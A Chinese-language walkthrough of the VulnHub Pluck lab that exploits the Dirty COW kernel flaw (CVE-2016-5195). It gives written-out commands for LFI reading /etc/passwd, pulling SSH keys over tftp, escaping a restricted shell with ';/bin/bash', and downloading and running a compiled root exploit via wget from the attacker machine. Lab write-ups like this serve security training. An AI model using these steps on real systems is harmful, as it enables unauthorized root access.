漏洞简介
漏洞编号:CVE-2016-5195
漏洞名称:脏牛
漏洞危害:低权限用户利用该漏洞技术可以在全版本上实现本地提权
影响范围:Linux kernel >= 2.6.22 ,并且Android也受影响 < 2016-10-18
脏牛漏洞名称的来源:Linux内核的内存子系统在处理写时拷贝(Copy-on-Write)时存在条件竞争漏洞,导致可以破坏私有只读内存映射。
一个低权限的本地用户能够利用此漏洞获取其他只读内存映射的写权限,有可能进一步导致提权漏洞
漏洞原理:该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区
的机会。修改su或者passwd程序就可以达到root的目的。
具体信息可以去国家信息安全漏洞库查看。
靶场搭建
官网下载连接:https://www.vulnhub.com/entry/pluck-1,178/(也可以去我主页的资源免费下载)
下载完后在vmvare虚拟机中进行部署,部署可以搜索教程,这里就不赘述了。
漏洞复现
连接靶场
1、启动靶场,页面如下,虽然有登录,但不用管。发现ip地址是直接显示的,这也省去了扫描ip过程。
2、扫描一下靶机的端口
nmap -sV -Pn -A 192.168.xx.xxx #自己靶场显示的ip地址
3、访问80端口,页面如下,寻找可用信息
4、点击在Contact US,发现似乎存在文件包含漏洞
5、修改page参数,输入/etc/passwd,发现存在一个backup.sh脚本文件
6、通过路径访问backup.sh脚本文件
7、根据提示,通过tftp将backup.tar下载下来并解压,会发现home和var两个目录,在home目录下有三个用户,而且只有paul目录下有公钥和私钥文件。
tftp 192.168.22.138 #tftp连接靶机,ip写靶机的ip地址
tftp>get /backups/backup.tar #从靶机下载
这很明显可以用密匙登录,每一密匙都试一下,发现用4可以登录,用命令下面的命令即可登录到一个限制的SHELL中
ssh -i id_key4 paul@192.168.22.138
选择Edit file敲下Enter,出现一个长框在里面输入
;/bin/bash
之后会进入一个vim界面,直接:q退出即可,然后就登录到靶机上,接下来就可以进行提权。
脏牛提权
1、下载exp,可以去这里下载https://www.exploit-db.com/exploits/40847,然后用下面的命令编译
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
注意:这里在进行编译时,查看一下靶机glibc的版本,进行编译的主机glibc不要大于靶机的版本,负责后边执行提权文件时会报./dcow: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./dcow)
2、主机开启http服务,靶机下载dcow执行程序
python3 -m http.server 80 #开启http服务
wget http://192.168.22.135/dcow #从主机下载执行文件dcow
3、给文件dcow赋予权限,然后运行文件,查看root下的flag .txt内容
chmod 777 dcow #赋权
./dcow -s #运行文件
cat /flag #查看文件内容
提权成功与否看$变成#就是成功了。